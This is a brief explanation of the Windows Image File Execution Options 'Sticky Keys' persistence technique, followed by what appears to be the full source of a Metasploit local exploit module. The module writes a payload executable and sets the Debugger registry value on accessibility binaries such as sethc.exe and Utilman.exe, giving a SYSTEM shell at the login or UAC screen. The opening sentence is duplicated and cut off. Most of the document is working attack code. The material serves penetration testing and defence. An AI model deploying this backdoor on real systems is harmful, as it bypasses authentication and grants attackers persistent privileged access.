This technique abuses a legitimate Windows feature for persistence.

The `Image This technique abuses a legitimate Windows feature for persistence.

The `Image File Execution Options` (IFEO) registry key, specifically its `Debugger` value, allows attaching a debugger to any executable. Attackers exploit this by targeting accessibility tools like `sethc.exe` (Sticky Keys) or `utilman.exe` (Ease of Access).

When a user tries to activate these features (e.g., from the login screen), the attacker's chosen program (e.g., `cmd.exe` or malware) runs instead of the legitimate accessibility application. This creates a persistent backdoor, often with `SYSTEM` privileges, even from the login screen, bypassing authentication. It's a common technique for privilege escalation and maintaining access.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::Windows::Registry
include Msf::Post::Windows::Priv
include Msf::Exploit::Deprecated
moved_from 'post/windows/manage/sticky_keys'

DEBUG_REG_PATH = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options'
DEBUG_REG_VALUE = 'Debugger'

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Accessibility Features (Sticky Keys) Persistence via Debugger Registry Key',
'Description' => %q{
This module makes it possible to apply the 'sticky keys' hack to a session with appropriate
rights. The hack provides a means to get a SYSTEM shell using UI-level interaction at an RDP
login screen or via a UAC confirmation dialog. The module modifies the Debug registry setting
for certain executables.

The module options allow for this hack to be applied to:

SETHC (sethc.exe is invoked when SHIFT is pressed 5 times),
UTILMAN (Utilman.exe is invoked by pressing WINDOWS+U),
OSK (osk.exe is invoked by pressing WINDOWS+U, then launching the on-screen keyboard),
DISP (DisplaySwitch.exe is invoked by pressing WINDOWS+P),
NARRATOR (Narrator.exe is invoked by pressing WINDOWS+CTR+ENTER),
ATBROKER (AtBroker.exe is invoked by launching accessibility features from the login screen, such as WINDOWS+CTR+ENTER).

Custom payloads and binaries can be run as part of this exploit, but must be manually uploaded
to the target prior to running the module.
},
'Author' => [
'OJ Reeves', # original module
'h00die' # persistence mixin, narrator, atbroker, docs
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter', 'shell'],
'References' => [
['URL', 'https://web.archive.org/web/20170201184448/https://social.technet.microsoft.com/Forums/windows/en-US/a3968ec9-5824-4bc2-82a2-a37ea88c273a/sticky-keys-exploit'],
['URL', 'https://blog.carnal0wnage.com/2012/04/privilege-escalation-via-sticky-keys.html'],
['URL', 'https://support.microsoft.com/en-us/windows/appendix-b-narrator-keyboard-commands-and-touch-gestures-8bdab3f4-b3e9-4554-7f28-8b15bd37410a'],
['ATT&CK', Mitre::Attack::Technique::T1183_IMAGE_FILE_EXECUTION_OPTIONS_INJECTION],
['ATT&CK', Mitre::Attack::Technique::T1546_008_ACCESSIBILITY_FEATURES],
['URL', 'https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/']
],
'Targets' => [
[ 'Automatic', {} ]
],
'DefaultTarget' => 0,
'DisclosureDate' => '1995-04-24', # windows 95 release date which included first sticky keys
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)

register_options([
OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
OptEnum.new('BINARY', [true, 'The target binary to add the exploit to.', 'SETHC', ['SETHC', 'UTILMAN', 'OSK', 'DISP', 'NARRATOR', 'ATBROKER']]),
])
end

#
# Returns the name of the executable to modify the debugger settings of.
#
def get_target_exe_name
case datastore['BINARY']
when 'UTILMAN'
'Utilman.exe'
when 'OSK'
'osk.exe'
when 'DISP'
'DisplaySwitch.exe'
when 'NARRATOR'
'Narrator.exe'
when 'ATBROKER'
'AtBroker.exe'
else
'sethc.exe'
end
end

#
# Returns the key combinations required to invoke the exploit once installed.
#
def get_target_key_combo
case datastore['BINARY']
when 'UTILMAN'
'WINDOWS+U'
when 'OSK'
'WINDOWS+U, then launching the on-screen keyboard'
when 'DISP'
'WINDOWS+P'
when 'NARRATOR'
'WINDOWS+CTR+ENTER'
when 'ATBROKER'
'Launching accessibility features from the login screen (such as WINDOWS+CTR+ENTER)'
else
'SHIFT 5 times'
end
end

#
# Returns the full path to the target's registry key based on the current target
# settings.
#
def get_target_exe_reg_key
"#{DEBUG_REG_PATH}\\#{get_target_exe_name}"
end

def writable_dir
d = super
return session.sys.config.getenv(d) if d.start_with?('%')

d
end

def check
print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)

return CheckCode::Safe('You have admin rights to run this Module') unless is_admin?

CheckCode::Appears('Likely exploitable')
end

def install_persistence
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
temp_path = writable_dir
payload_exe = generate_payload_exe
payload_pathname = temp_path + '\\' + payload_name + '.exe'
vprint_status("Payload pathname: #{payload_pathname}")
fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe)
target_key = get_target_exe_reg_key
registry_createkey(target_key)
registry_setvaldata(target_key, DEBUG_REG_VALUE, payload_pathname, 'REG_SZ')

print_good("'Sticky keys' successfully added. Launch the exploit at an RDP or UAC prompt by pressing #{get_target_key_combo}.")
@clean_up_rc << "rm \"#{payload_pathname.gsub('\\', '\\\\\\\\')}\"\n"
@clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"#{target_key}\" /v GlobalFlag /f\" -H\n"
end
end